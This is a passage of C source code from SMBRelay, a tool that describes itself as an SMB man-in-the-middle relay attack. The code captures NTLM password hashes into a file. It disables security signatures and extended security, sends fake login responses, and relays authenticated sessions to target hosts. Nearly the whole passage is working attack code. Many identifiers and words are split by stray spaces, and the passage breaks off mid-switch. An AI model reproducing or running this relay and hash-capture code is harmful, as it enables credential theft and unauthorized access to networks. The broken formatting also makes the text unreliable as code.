ptr += psessionsetupand2->CaseIns ensitivePasswordLen + psessionsetupand2->CaseSensitivePasswordLen + 1; printf("Username: \"%s\"\n", ptr); strncpy(username, ptr, sizeof(use rname)); ptr += strlen(ptr) + 1; printf("Domain: \"%s\"\n", ptr); ptr += strlen(ptr) + 1; printf("OS: \"%s\"\n", ptr); ptr += strlen(ptr) + 1; printf("Lanman type: \"%s\"\n", ptr); } if (psessionsetupand2->AndXCommand == SMB _COM_TREE_CONNECT_ANDX) { // add TREE_CONNECT_AND portion t o connect to IPC$ psessionsetupand2->AndXOffset = s izeof(SMBHEADER) + psessionsetupand2->Len * 2 + psessionsetupand2->ByteCount + 3; PTREE_CONNECT_ANDHEADER pTreeConn ectAnd2 = (PTREE_CONNECT_ANDHEADER)(PTREE_CONNECT_ANDRESPONSEHEADER)( (char *)psm bheader + psessionsetupand2->AndXOffset ); pTreeConnectAnd2->Len = TREE_CONN ECT_ANDHEADER_LEN; pTreeConnectAnd2->AndXCommand = S MB_NONE; pTreeConnectAnd2->AndXOffset = 0; pTreeConnectAnd2->AndXReserved = 0; pTreeConnectAnd2->Flags = 0; pTreeConnectAnd2->PasswordLen = 1 ; pTreeConnectAnd2->ByteCount = 32; char *ptr = (char *)(pTreeConnect And2 + 1); *ptr = 0; ptr++; WCHAR *wptr = (WCHAR *)ptr; swprintf(wptr, L"\\\\%S\\IPC$", h ostname); pTreeConnectAnd2->ByteCount = (wc slen(wptr) + 1) * 2; wptr += wcslen(wptr) + 1; ptr = (char *)wptr; strcpy(ptr, "?????"); pTreeConnectAnd2->ByteCount += 7; pnbsessionheader->Length = htons( sizeof(SMBHEADER) + psessionsetupand2->Len * 2 + psessionsetupand2->ByteCount + 2 + pTreeConnectAnd2->Len * 2 + pTreeConnectAnd2->ByteCount + 4); len = ntohs(pnbsessionheader->Len gth) + 4; } break; case SESSION_SETUP_ANDHEADER2EX_LEN: // Win2000 printf("Security blob len: %d\n", psessio nsetupand2ex->SecurityBlobLen); break; default: printf("Unknown setup header length %d\n" , psessionsetupand->Len); break; } if (bFakeResponse) { psmbheader->bResponse = 1; psmbheader->bNTErrorCodes = 1; if (strlen(username)) { bContinue = FALSE; psmbheader->NTError = 0xC000006D; memset(psmbheader + 1, 0, 3); pnbsessionheader->Length = sizeof (SMBHEADER) + 3; fprintf(stderr, " *** Sent negati ve login response for target %s\n", hostname ); } else { psessionsetupandresponse->Len = S ESSION_SETUP_ANDRESPONSEHEADER_LEN; psessionsetupandresponse->Action = 0; psessionsetupandresponse->AndXRes erved = 0; psessionsetupandresponse->ByteCou nt = 0; WCHAR *ptr = (WCHAR *)(psessionse tupandresponse+1); wcscpy(ptr, L"Windows NT 4.0"); psessionsetupandresponse->ByteCou nt += wcslen(ptr) + 1; ptr += wcslen(ptr) + 1; wcscpy(ptr, L"NT LAN Manager 4.0" ); psessionsetupandresponse->ByteCou nt += wcslen(ptr) + 1; ptr += wcslen(ptr) + 1; wcscpy(ptr, L"DOMAIN"); psessionsetupandresponse->ByteCou nt += wcslen(ptr) + 1; ptr += wcslen(ptr) + 1; pnbsessionheader->Length = sizeof (SMBHEADER) + sizeof(SESSION_SETUP_ANDRESPONSEHEADER) + psessionsetupandresponse- >ByteCount ; if (psessionsetupandresponse->And XCommand != SMB_NONE) { psessionsetupandresponse- >AndXOffset = psessionsetupandresponse->Len + psessionsetupandresponse->ByteCount + 1; PTREE_CONNECT_ANDRESPONSE HEADER ptreeconnectand = (PTREE_CONNECT_ANDRESPONSEHEADER)( (char *)psmbheader + psessionsetupandresponse->AndXOffset ); ptreeconnectand->Len = TR EE_CONNECT_ANDRESPONSEHEADER_LEN; ptreeconnectand->AndXComm and = SMB_NONE; ptreeconnectand->AndXOffs et = 0; ptreeconnectand->AndXRese rved = 0; ptreeconnectand->Optional Support = 0; char *ptr = (char *)(ptre econnectand + 1); strcpy(ptr, "IPC"); ptreeconnectand->ByteCoun t = strlen(ptr) + 3; ptr += strlen(ptr) + 1; *ptr = 0; ptr++; *ptr = 0; pnbsessionheader->Length += ptreeconnectand->Len * 2 + ptreeconnectand->ByteCount + 4; } fprintf(stderr, " *** Sent positi ve login response for target %s\n", hostname ); } send(inconsock, buff, pnbsessionheader->L ength + 8, 0); } break; } } } send(outsock, buff, len, 0); if (!bFakeResponse) { len = recv(outsock, buff, sizeof(buff), 0); if (len < 1) { printf("Error receiving data from outgoing connec tion\n"); return; } printf("Response: %s %d bytes\n", GetMessageType(pnb sessionheader->Type), len); switch (pnbsessionheader->Type) { case TYPE_NEGATIVE_SESSION_RESPONSE: printf("*** NEGATIVE SESSION RESPONSE\n"); if (g_FakeResponse) { bFakeResponse = TRUE; pnbsessionheader->Length = 0; pnbsessionheader->Type = TYPE_POSITIVE_SE SSION_RESPONSE; closesocket(outsock); send(inconsock, (const char *)pnbsessionh eader, sizeof(NBSESSIONHEADER), 0); } else { bContinue = FALSE; } break; case TYPE_SESSION_MESSAGE: switch (psmbheader->Command) { case SMB_COM_NEGOTIATE: SessionID = pdialectselectheader->UniqueS essionKey; if (pdialectselectheader->EncryptionKeyLe n ) { printf("Challenge (%d bytes): ", pdialectselectheader->EncryptionKeyLen); PrintHexString((BYTE *)(pdialects electheader + 1), pdialectselectheader->EncryptionKeyLen); memcpy(challenge, pdialectselecth eader + 1, 8); puts(""); } if (pdialectselectheader->bSecuritySignat uresRequired ) { printf("Security signatures requi red by server *** THIS MAY NOT WORK!\n"); pdialectselectheader->bSecuritySi gnaturesRequired = 0; } if (pdialectselectheader->bExtendedSecuri ty) { printf("Disabling extended securi ty *** THIS MAY NOT WORK!\n"); pdialectselectheader->bExtendedSe curity = 0; } if (pdialectselectheader->bSecuritySignat uresEnabled) { printf("Disabling security signat ures\n"); pdialectselectheader->bSecuritySi gnaturesEnabled = 0; } // copy negotiation response for relaying later memcpy(negotiateheaders, buff, sizeof(neg otiateheaders)); break; case SMB_COM_SESSION_SETUP_ANDX: if (psmbheader->NTError == 0) { if (strlen(username)) bConnected = TRUE; if (psessionsetupandresponse->Act ion & 1) { printf("Connected as gues t\n"); } if (/* psmbheader->bUnicodeString s*/TRUE ) { WCHAR *ptr = (WCHAR *)(ps essionsetupandresponse + 1); if ((DWORD)ptr % 2) ptr = (WCHAR *)(( char *)ptr +1); printf("OS: \"% S\"\n", ptr); ptr += wcslen(ptr) + 1; printf("Lanman type: \"% S\"\n", ptr); ptr += wcslen(ptr) + 1; printf("Domain: \"% S\"\n", ptr); } else { char *ptr = (char *)(pses sionsetupandresponse + 1); printf("OS: \"% s\"\n", ptr); ptr += strlen(ptr) + 1; printf("Lanman type: \"% s\"\n", ptr); ptr += strlen(ptr) + 1; printf("Domain: \"% s\"\n", ptr); ptr += strlen(ptr) + 1; } if (strlen(username)) { memcpy(logonandconnecthea ders, buff, sizeof(logonandconnectheaders)); UID = psmbheader->UserID; } } else { printf("Login failure code: 0x%08 X\n", psmbheader->NTError ); } break; } } if (!bConnected) send(inconsock, buff, len, 0); } puts(""); } closesocket(inconsock); FILE *file; file = fopen("hashes.txt", "a"); if (file != NULL) { fprintf(file, "%s %s\\%s:3:", inet_ntoa(sockaddr.sin_addr), hostn ame, username); for (x = 0; x < 8; x++) fprintf(file, "%02X", challenge[x]); fprintf(file, ":"); for (x = 0; x < 24; x++) fprintf(file, "%02X", caseinsensitivepassword[x]); fprintf(file, ":"); for (x = 0; x < 24; x++) fprintf(file, "%02X", casesensitivepassword[x]); fprintf(file, "\n"); fclose(file); printf("Password hash written to disk\n"); } if (bFakeResponse) return; if (bConnected) { DWORD d, NTEContext, NTEInstance; DWORD IP, Netmask; printf("Connected?\n"); IP = g_RelayStartIP; IP = ntohl(htonl(IP) + pnewconinfo->hostcount); sockaddr.sin_addr.s_addr = IP; if (g_bAddRelayIP) { Netmask = inet_addr("255.255.255.0"); d = AddIPAddress(IP, Netmask, g_RelayInterfaceNumber, &NT EContext, &NTEInstance); if (d != NO_ERROR) printf("Error %d adding relay IP address to inter face %x: %s\n", d, g_RelayInterfaceNumber, StrError(d)); else printf("Relay IP address added to interface %x\n" , g_RelayInterfaceNumber); } SOCKET relaylistensock = INVALID_SOCKET, relayconnectionsock = IN VALID_SOCKET; BOOL bConnected = TRUE; while (bConnected && !g_bQuit) { relaylistensock = socket(AF_INET, SOCK_STREAM, 0); BOOL b = TRUE; if (setsockopt(relaylistensock , SOL_SOCKET, SO_REUSEADDR , (const char *)&b, sizeof(b) ) == SOCKET_ERROR) { printf("Error %d setting socket option SO_REUSEAD DR\n", GETSOCKETERROR() ); closesocket(relaylistensock ); goto exitrelay ; } sockaddr.sin_addr.s_addr = IP; sockaddr.sin_port = htons(139); sockaddr.sin_family = AF_INET; if (bind(relaylistensock, (LPSOCKADDR)&sockaddr, sizeof(s ockaddr) ) == SOCKET_ERROR) { d = GETSOCKETERROR(); printf("Error %u binding to port %d at address %s \n", d, 139, inet_ntoa(sockaddr.sin_addr) ); closesocket(relaylistensock); goto exitrelay ; } else { printf("Bound to port %d on address %s relaying f or host ", 139, inet_ntoa(sockaddr.sin_addr) ); printf("%s %s\n", hostname, inet_ntoa(sourcesocka ddr.sin_addr) ); } if (listen(relaylistensock, SOMAXCONN) == SOCKET_ERROR) { d = GETSOCKETERROR(); printf("Error %u listening on socket\n", d ); closesocket(relaylistensock); goto exitrelay ; } bContinue = TRUE; char tmpbuff[5]; int socklen = sizeof(sockaddr); DWORD l = 1; ioctlsocket(relaylistensock, FIONBIO , &l); l = 1; ioctlsocket(outsock, FIONBIO , &l); do { if ((relayconnectionsock = accept(relaylistensock , (LPSOCKADDR)&sockaddr, &socklen)) == INVALID_SOCKET) { DWORD err = WSAGetLastError(); if (err != WSAEWOULDBLOCK) { printf("Error %d receiving relay connection", err); closesocket(relaylistensock); goto exitrelay ; } else { x = recv(outsock, tmpbuff, 1, MSG _PEEK); if ((x == -1 && WSAGetLastError() != WSAEWOULDBLOCK) || x == 0) { closesocket(relaylistenso ck); goto exitrelay; } Sleep(50); } } } while (!g_bQuit && relayconnectionsock == INVALID_SOCKE T); closesocket(relaylistensock); if (g_bQuit ) { if (relayconnectionsock != INVALID_SOCKET) closesocket(relayconnectionsock); goto exitrelay ; } printf("*** Relay connection for target %s received from %s:%d\n", hostname, inet_ntoa(sockaddr.sin_addr), ntohs(sockaddr.sin_port)); char hostaddrbuff[64]; char relayaddrbuff[64]; strcpy(relayaddrbuff, inet_ntoa(sockaddr.sin_addr) ); strcpy(hostaddrbuff, inet_ntoa(sourcesockaddr.sin_addr) ) ; if (_spawnlp(_P_NOWAIT, "spawn.bat", "spawn.bat", relayad drbuff, hostaddrbuff, hostname, NULL) != -1) { printf("Spawned spawn.bat %s %s %s\n", relayaddrb uff, hostaddrbuff, hostname ); } // set non-blocking mode l = 1; ioctlsocket(relayconnectionsock, FIONBIO , &l); bContinue = TRUE; int totallen, datalen; BOOL bLogonDone = FALSE; BOOL bDialectSelected = FALSE; do { BOOL bDoSend = TRUE; datalen = recv(relayconnectionsock, buff, sizeof( NBSESSIONHEADER), 0); if (datalen < 1) { if (datalen == 0) { printf("Relay connection disconne cted from target %s\n", hostname); bContinue = FALSE; } else { DWORD err = WSAGetLastError(); if (err != WSAEWOULDBLOCK) { bContinue = FALSE; printf("Error %d receivin g header from incoming relay connection for target %s\n", err, hostname); } } } else { totallen = ntohs(pnbsessionheader->Length ) + 4; if (g_DebugLevel > 1) printf("Received request header, expecting %d bytes for target %s\n", totallen, hostname); while (bContinue && datalen < totallen & & !g_bQuit) { x = recv(relayconnectionsock, buf f + datalen, totallen - datalen, 0); if (x > 0) datalen += x; else { if (x == 0) { printf("Relay con nection disconnected from target %s\n", hostname); bContinue = FALSE ; } else { DWORD err = WSAGe tLastError(); if (err == WSAEWO ULDBLOCK) Sleep(5); else { bContinue = FALSE; printf("E rror %d receiving data from incoming relay connection to target %s\n", err, hostn ame); } } } } } if (bContinue && datalen > 0) { if (g_DebugLevel > 0) printf("Relay request type: %s %d bytes, %d target %s\n", GetMessageType(pnbsessionheader->Type), datalen, ntohs(pnbsessi onheader->Length) + 4, hostname); if (pnbsessionheader->Flags != 0) printf("Request Flags: 0x%04x target %s\n ", pnbsessionheader->Flags, hostname ); switch (pnbsessionheader->Type) { case TYPE_SESSION_REQUEST: pnbsessionheader->Flags = 0; pnbsessionheader->Length = 0; pnbsessionheader->Type = TYPE_POSITIVE_SE SSION_RESPONSE; send(relayconnectionsock, buff, sizeof(NB SESSIONHEADER), 0); printf(" *** Sent positive session respon se for relay target %s\n", hostname); bDoSend = FALSE; break; case TYPE_SESSION_MESSAGE: if (psmbheader->MagicVal != SMBMAGICVAL ) { if (g_DebugLevel > 0) printf("Non SMB message, magicval: %08x length %d bytes target %s\n", psmbheader->MagicVal, datalen, hostn ame); } else { if (g_DebugLevel > 0) printf("%s\n", GetCommand Type(psmbheader->Command)); switch (psmbheader->Command) { case SMB_COM_LOGOFF_ANDX: printf(" *** Logoff from target % s\n", hostname); bDoSend = FALSE; bContinue = FALSE; break; case SMB_COM_NEGOTIATE: if (!bDialectSelected) { char *ptr = (char *)(psmb header + 1) + 3; int selecteddialect = 0; x = 0; bDialectSelected = TRUE; while (selecteddialect == 0 && ptr < buff + pnbsessionheader->Length + 3) { if (g_DebugLevel > 0) printf("% d - Dialect %d - %s\n", x, *ptr, ptr+1); x++; ptr += strlen(ptr +1) + 2; // locate dialect of choice if (strcmp(ptr+1, LANMANDIALECT_NTLM012) == 0) selectedd ialect = x; } memcpy(buff, negotiatehea ders, sizeof(negotiateheaders)); pdialectselectheader->Len = SMBDIALECTSELECTHEADER_LEN; pdialectselectheader->Dia lectIndex = selecteddialect; ptr = (char *)(pdialectse lectheader + 1); // put encryption key her e memcpy(ptr, "!!!!!!!!", 8 ); ptr += SMBENCRYPTIONKEYLE N ; if (/*psmbheader->bUnicod eStrings*/TRUE) { swprintf((WCHAR * )ptr, L"%S", SERVERDOMAINNAME); pdialectselecthea der->ByteCount = SMBENCRYPTIONKEYLEN + (strlen(SERVERDOMAINNAME) + 1) * 2; } else { strcpy(ptr, SERVE RDOMAINNAME); pdialectselecthea der->ByteCount = SMBENCRYPTIONKEYLEN + strlen(SERVERDOMAINNAME) + 1; } pnbsessionheader->Length = htons(sizeof(SMBHEADER) + sizeof(SMBDIALECTSELECTHEADER) + pdialectselectheade r->ByteCount ); send(relayconnectionsock, buff, ntohs(pnbsessionheader->Length) + 4 , 0); printf(" *** Sent dialect selection response (%d) for target %s\n", selecteddialect, hostname ); bDoSend = FALSE; } break; case SMB_COM_SESSION_SETUP_ANDX: if ( !bLogonDone ) { bLogonDone = TRUE; WORD MID = psmbheader->Mu ltiplexID; WORD AndXCommand = psessi onsetupand->AndXCommand ; memcpy(buff, logonandconn ectheaders, sizeof(logonandconnectheaders) ); psmbheader->MultiplexID = MID; psmbheader->UserID = UID ; pnbsessionheader->Length = htons(sizeof(SMBHEADER) + psessionsetupandresponse->Len * 2 + psessionsetupandr esponse->ByteCount + 2); // truncate it if necessary if (AndXCommand == SMB_NO NE) { psessionsetupandr esponse->AndXCommand = SMB_NONE; psessionsetupandr esponse->AndXOffset = 0; } else { PTREE_CONNECT_AND RESPONSEHEADER ptreeconnectand = (PTREE_CONNECT_ANDRESPONSEHEADER)( (char *)psmbh eader + psessionsetupandresponse->AndXOffset ); ptreeconnectand-> Len = TREE_CONNECT_ANDRESPONSEHEADER_LEN; ptreeconnectand-> AndXCommand = SMB_NONE; ptreeconnectand-> AndXOffset = 0; ptreeconnectand-> AndXReserved = 0; ptreeconnectand-> OptionalSupport = 0; char *ptr = (char *)(ptreeconnectand + 1); strcpy(ptr, "IPC" ); ptreeconnectand-> ByteCount = strlen(ptr) + 3; ptr += strlen(ptr ) + 1; *ptr = 0; ptr++; *ptr = 0; pnbsessionheader- >Length = htons(ntohs(pnbsessionheader->Length) + ptreeconnectand->Len * 2 + ptre econnectand->ByteCount + 4); } x = send(relayconnections ock, buff, ntohs(pnbsessionheader->Length) + 4, 0); printf(" *** Sent SMB Ses sion setup response for relay to %s\n", hostname); bDoSend = FALSE; } break; } } } } if (bContinue && bDoSend && datalen > 0) { totallen = 0; do { x = send(outsock, buff + totallen , datalen - totallen, 0); if (x == 0) { bContinue = FALSE; bConnected = FALSE; printf("Target %s disconn ected durring send\n", hostname); } else if (x == -1) { DWORD err = WSAGetLastErr or(); if (err == WSAEWOULDBLOCK ) Sleep(5); else { bContinue = FALSE ; bConnected = FALS E; printf("Error %d sending data to target %s\n", err, hostname); } } else { totallen += x; } } while (bContinue && totallen < datalen && !g_bQuit); } if (bContinue && !g_bQuit) { datalen = recv(outsock, buff, sizeof(NBSE SSIONHEADER), 0); if (datalen < 1) { if (datalen == 0) { printf("Target %s connect ion disconnected\n", hostname); bContinue = FALSE; bConnected = FALSE; } else { DWORD err = WSAGetLastErr or(); if (err != WSAEWOULDBLOCK ) { bContinue = FALSE ; bConnected = FALS E; printf("Error %d receiving header from target %s\n", err, hostname); } } } else { totallen = ntohs(pnbsessionheader ->Length) + 4; if (g_DebugLevel > 1) printf("Received response header, expecting %d bytes from target %s\n", totallen, hostname); while (bContinue && datalen < to tallen && !g_bQuit) { x = recv(outsock, buff + datalen, totallen - datalen, 0); if (x > 0) datalen += x; else { if (x == 0) { printf("T arget %s connection disconnected\n", hostname); bContinue = FALSE; bConnecte d = FALSE; } else { DWORD err = WSAGetLastError(); if (err = = WSAEWOULDBLOCK) S leep(5); else { b Continue = FALSE; b Connected = FALSE; p rintf("Error %d receiving data from target %s\n", err, hostname); } } } } } if (bContinue && datalen > 0 && !g_bQuit) { if (g_DebugLevel > 0) printf("Received %d byte response from target %s\n", datalen, hostname); if (pnbsessionheader->Flags != 0) printf("Response Flags: 0 x%04x target %s\n", pnbsessionheader->Flags, hostname ); totallen = 0; do { x = send(relayconnections ock, buff + totallen, datalen - totallen, 0); if (x == 0) { bContinue = FALSE ; printf("Relay hos t disconnected durring send from target %s\n", hostname); } else if (x == -1) { DWORD err = WSAGe tLastError(); if (err == WSAEWO ULDBLOCK) Sleep(5); else { bContinue = FALSE; printf("E rror %d sending data to relay host from target %s\n", err, hostname); } } else { totallen += x; } } while (bContinue && totallen < datalen && !g_bQuit); } } if (datalen < 1) Sleep(5); } while (bContinue && !g_bQuit); printf(" *** Relay disconnected from target %s\n", hostna me); closesocket(relayconnectionsock); } exitrelay: if (g_bAddRelayIP) { DeleteIPAddress(NTEContext); printf("Deleted relay IP address %s for target %s\n", ine t_ntoa( sockaddr.sin_addr), hostname); } } closesocket(outsock); printf("*** Target %s Disconnected\n", hostname); // remove host from list ConnectedList[hostnumber] = 0; // clean up end of list while (ConnectedSize > 0 && ConnectedList[ConnectedSize] == 0) ConnectedSize--; } void SignalHandler(int sig) { printf("Termination requested...\n"); g_bQuit = TRUE; } void Usage( ) { puts("Usage: smbrelay [options]"); puts(" Options:"); puts(" /D num - Set debug level, current valid levels: 0 (none), 1, 2" ); puts(" Defaults to 0"); puts(" /E - Enumerates interfaces and their indexes"); puts(" /F[-] - Fake server only, capture password hashes and do not r elay"); puts(" Use - to disable acting as a fake server if relay fails"); puts(" /IL num - Set the interface index to use when adding local IP ad dresses"); puts(" /IR num - Set the interface index to use when adding relay IP ad dresses"); puts(" Defaults to 1. Use /E to display the adapter indexes"); puts(" /L[+] IP - Set the local IP to listen on for incoming NetBIOS con nections"); puts(" Use + to first add the IP address to the NIC"); puts(" Defaults to primary host IP"); puts(" /R[-] IP - Set the starting relay IP address to use"); puts(" Use - to NOT first add each relay IP address to the NIC"); puts(" Defaults to 192.1.1.1"); puts(" /S name - Set the source machine name"); puts(" Defaults to CDC4EVER"); puts(" /T IP - Connect to target IP instead of back to the incoming a ddress"); } int main(int argc, char* argv[]) { SOCKET tcpsock, inconsock; WSADATA wsadata; BOOL b; DWORD d, NTEContext, NTEInstance; LPHOSTENT phostent; SOCKADDR_IN sockaddr; int x; puts("SMBRelay v0.992 - TCP (NetBT) level SMB man-in-the-middle relay att ack"); puts(" Copyright 2001: Sir Dystic, Cult of the Dead Cow"); puts(" Send complaints, ideas and donations to sirdystic@cultdeadcow.com" ); for (x = 1; x < argc; x++) { if (argv[x][0] == '/') { if (stricmp(argv[x], "/IR") == 0) { if (x > argc - 2) { fprintf(stdout, "Missing argument for /IR \n"); Usage(); return 0; } x++; g_RelayInterfaceNumber = strtoul(argv[x], NULL, 1 6); } else if (stricmp(argv[x], "/IL") == 0) { if (x > argc - 2) { fprintf(stdout, "Missing argument for /IL \n"); Usage(); return 0; } x++; g_LocalInterfaceNumber = strtoul(argv[x], NULL, 1 6); } else if (stricmp(argv[x], "/D") == 0) { if (x > argc - 2) { fprintf(stdout, "Missing argument for /D\ n"); Usage(); return 0; } x++; g_DebugLevel = atoi(argv[x]); } else if (stricmp(argv[x], "/E") == 0) { DWORD e, NumOfInterfaces = 0; e = GetNumberOfInterfaces(&NumOfInterfaces); if (e != NO_ERROR) { printf("Unable to retrieve number of inte rfaces: Error %d - %s\n", e, StrError(e)); } else { DWORD buffsize = sizeof(MIB_IFROW) * (Num OfInterfaces + 5); PMIB_IFTABLE piftable = (PMIB_IFTABLE)mal loc(buffsize); e = GetIfTable(piftable, &buffsize, FALSE ); if (e != ERROR_SUCCESS) { printf("Unable to get interface t able: Error %d - %s\n", e, StrError(e)); } else { for (e = 0; e < piftable->dwNumEn tries; e++) { printf("[%x] %s - %s\n", piftable->table[e].dwIndex, GetInterfaceType(piftable->table[e].dwType), piftable ->table[e].bDescr ); } } /// free(piftable); } return 0; } else if (stricmp(argv[x], "/F") == 0) { g_FakeOnly = TRUE; } else if (stricmp(argv[x], "/F-") == 0) { g_FakeResponse = FALSE; } else if (stricmp(argv[x], "/L") == 0 || stricmp(argv[x], "/L+") == 0) { if (x > argc - 2) { fprintf(stdout, "Missing argument for /L\ n"); Usage(); return 0; } if (argv[x][2] == '+') g_bAddLocalIP = TRUE; x++; g_LocalIP = inet_addr(argv[x]); if (g_LocalIP == INADDR_NONE) { fprintf(stdout, "Bad IP: \"%s\"\n", argv[ x]); Usage(); return 0; } } else if (stricmp(argv[x], "/R") == 0 || stricmp(argv[x], "/R-") == 0) { if (x > argc - 2) { fprintf(stdout, "Missing argument for /R\ n"); Usage(); return 0; } if (argv[x][2] == '-') g_bAddRelayIP = FALSE; x++; g_RelayStartIP = inet_addr(argv[x]); if (g_RelayStartIP == INADDR_NONE) { fprintf(stdout, "Bad IP: \"%s\"\n", argv[ x]); Usage(); return 0; } } else if (stricmp(argv[x], "/S") == 0) { if (x > argc - 2) { fprintf(stdout, "Missing argument for /S\ n"); Usage(); return 0; } x++; strncpy(g_SourceName, argv[x], 15); g_SourceName[15] = 0; strupr(g_SourceName); } else if (stricmp(argv[x], "/T") == 0) { if (x > argc - 2) { fprintf(stdout, "Missing argument for /S\ n"); Usage(); return 0; } x++; g_TargetIP = inet_addr(argv[x]) ; } else if (stricmp(argv[x], "/?") == 0 || stricmp(argv[x], "/HELP") == 0) { Usage(); return 0; } else { fprintf(stdout, "Bad option: \"%s\"\n", argv[x] ) ; Usage(); return 0; } } } memset(&wsadata, 0, sizeof(wsadata)); WSAStartup(MAKEWORD(1, 1), &wsadata); if (g_bAddLocalIP) { if (g_LocalInterfaceNumber == 0) { GetBestInterface(g_LocalIP, &g_LocalInterfaceNumber); } MIB_IFROW ifrow; memset(&ifrow, 0, sizeof(ifrow)); ifrow.dwIndex = g_LocalInterfaceNumber; d = GetIfEntry(&ifrow); if (d == NO_ERROR) { printf("Using local adapter index %x: %s\n", g_LocalInter faceNumber, ifrow.bDescr); } else { printf("Local adapter index %x may be invalid! Error %d: %s\n", g_LocalInterfaceNumber, d, StrError(d)); } } if (g_bAddRelayIP) { MIB_IFROW ifrow; memset(&ifrow, 0, sizeof(ifrow)); ifrow.dwIndex = g_RelayInterfaceNumber; d = GetIfEntry(&ifrow); if (d == NO_ERROR) { printf("Using relay adapter index %x: %s\n", g_RelayInter faceNumber, ifrow.bDescr); } else { printf("Relay adapter index %x may be invalid! Error %d: %s\n", g_RelayInterfaceNumber, d, StrError(d)); } } tcpsock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (tcpsock == INVALID_SOCKET) { printf("Error %d creating socket\n", GETSOCKETERROR() ); return 0; } b = TRUE; if (setsockopt(tcpsock, SOL_SOCKET, SO_REUSEADDR, (const char *)&b, sizeo f(b) ) == SOCKET_ERROR) { printf("Error %d setting socket option SO_REUSEADDR\n", GETSOCKET ERROR() ); closesocket(tcpsock); return 0; } if (g_LocalIP == INADDR_NONE) { char buff[64]; if (gethostname((char *)buff, sizeof(buff) ) == SOCKET_ERROR) { printf("Error %d getting local host name\n", GETSOCKETERR OR() ); closesocket(tcpsock); return 0; } phostent = gethostbyname((char *)buff); if (phostent == NULL) { printf("Error %d getting local address for name %s\n", GE TSOCKETERROR(), buff ); closesocket(tcpsock); return 0; } g_LocalIP = ((struct in_addr *) phostent->h_addr)->s_addr; } sockaddr.sin_addr.s_addr = g_LocalIP; sockaddr.sin_port = htons(g_LocalPort); sockaddr.sin_family = AF_INET; if (g_bAddLocalIP) { DWORD Netmask = inet_addr("255.255.255.0"); d = AddIPAddress(g_LocalIP, Netmask, g_LocalInterfaceNumber, &NTE Context, &NTEInstance); if (d != NO_ERROR) printf("Error %d adding IP address to interface %x: %s\n" , d, g_LocalInterfaceNumber, StrError(d)); else printf("Local IP address added to interface %x\n", g_Loca lInterfaceNumber); } if (bind(tcpsock, (LPSOCKADDR)&sockaddr, sizeof(sockaddr) ) == SOCKET_ERR OR) { d = GETSOCKETERROR(); printf("Error %u binding to port %d at address %s\n", d, g_LocalP ort, inet_ntoa(sockaddr.sin_addr) ); closesocket(tcpsock); return 0; } else { printf("Bound to port %d on address %s\n", g_LocalPort, inet_ntoa (sockaddr.sin_addr) ); } if (listen(tcpsock, SOMAXCONN) == SOCKET_ERROR) { d = GETSOCKETERROR(); printf("Error %u listening on socket\n", d ); closesocket(tcpsock); return 0; } signal(SIGBREAK, SignalHandler); signal(SIGINT, SignalHandler); signal(SIGABRT, SignalHandler); signal(SIGFPE, SignalHandler); signal(SIGILL, SignalHandler); signal(SIGSEGV, SignalHandler); signal(SIGTERM, SignalHandler); DWORD l = 1; ioctlsocket(tcpsock, FIONBIO , &l); do { NEWCONINFO newconinfo; int socklen = sizeof(sockaddr); do { if ((inconsock = accept(tcpsock, (LPSOCKADDR)&sockaddr, & socklen)) == INVALID_SOCKET) { DWORD err = WSAGetLastError(); if (err != WSAEWOULDBLOCK) { printf("Error %d receiving incoming NetBI OS connection\n", err); g_bQuit = FALSE; } else { Sleep(5); } } } while (!g_bQuit && inconsock == INVALID_SOCKET ); if (!g_bQuit ) { BOOL bDup = FALSE; DWORD d; for (d = 0; d < ConnectedSize && !bDup; d++) { if (ConnectedList[d] == sockaddr.sin_addr.s_addr) bDup = TRUE; } if (bDup) { printf("Connection rejected: %s already connected \n", inet_ntoa(sockaddr.sin_addr)); closesocket(inconsock); } else { printf("Connection from %s:%d\n", inet_ntoa(socka ddr.sin_addr), ntohs(sockaddr.sin_port)); ConnectedList[ConnectedSize] = sockaddr.sin_addr. s_addr; newconinfo.hostcount = ConnectedSize++; newconinfo.connectionsock = inconsock; memcpy(&newconinfo.sourcesockaddr, &sockaddr, siz eof(SOCKADDR_IN)); _beginthread(mainconnectionhandler, 0, &newconinf o); Sleep(50); } } } while (!g_bQuit ); closesocket(tcpsock); if (g_bAddLocalIP) { DeleteIPAddress(NTEContext); printf("Deleted incoming IP address\n"); } Sleep(400); WSACleanup(); printf("Exiting main\n"); return 0; } const char *GetInterfaceType(DWORD Type) { static char retbuff[32]; const char *ret = retbuff; switch (Type) { default: sprintf(retbuff, "Unknown: %d", Type); break; case IF_TYPE_OTHER: ret = "OTHER"; break; case IF_TYPE_REGULAR_1822: ret = "REGULAR 1822"; break; case IF_TYPE_HDH_1822: ret = "HDH 1822"; break; case IF_TYPE_DDN_X25: ret = "DDN X25"; break; case IF_TYPE_RFC877_X25: ret = "RFC877 X25"; break; case IF_TYPE_ETHERNET_CSMACD: ret = "ETHERNET CSMACD"; break; case IF_TYPE_IS088023_CSMACD: ret = "IS088023 CSMACD"; break; case IF_TYPE_ISO88024_TOKENBUS: ret = "ISO88024 TOKENBUS"; break; case IF_TYPE_ISO88025_TOKENRING: ret = "ISO88025_TOKENRING"; break; case IF_TYPE_ISO88026_MAN: ret = "ISO88026_MAN"; break; case IF_TYPE_STARLAN: ret = "STARLAN"; break; case IF_TYPE_PROTEON_10MBIT: ret = "PROTEON_10MBIT"; break; case IF_TYPE_PROTEON_80MBIT: ret = "PROTEON_80MBIT"; break; case IF_TYPE_HYPERCHANNEL: ret = "HYPERCHANNEL"; break; case IF_TYPE_FDDI: ret = "FDDI"; break; case IF_TYPE_LAP_B: ret = "LAP_B"; break; case IF_TYPE_SDLC: ret = "SDLC"; break; case IF_TYPE_DS1: ret = "DS1"; break; case IF_TYPE_E1: ret = "E1"; break; case IF_TYPE_BASIC_ISDN: ret = "BASIC_ISDN"; break; case IF_TYPE_PRIMARY_ISDN: ret = "PRIMARY_ISDN"; break; case IF_TYPE_PROP_POINT2POINT_SERIAL: ret = "PROP POINT2POINT SERIAL"; break; case IF_TYPE_PPP: ret = "PPP"; break; case IF_TYPE_SOFTWARE_LOOPBACK: ret = "SOFTWARE LOOPBACK"; break; case IF_TYPE_EON: ret = "EON - CLNP over IP"; break; case IF_TYPE_ETHERNET_3MBIT: ret = "ETHERNET 3MBIT"; break; case IF_TYPE_NSIP: ret = "NSIP - XNS over IP"; break; case IF_TYPE_SLIP: ret = "SLIP"; break; case IF_TYPE_ULTRA: ret = "ULTRA"; break; case IF_TYPE_DS3: ret = "DS3-MIB"; break; case 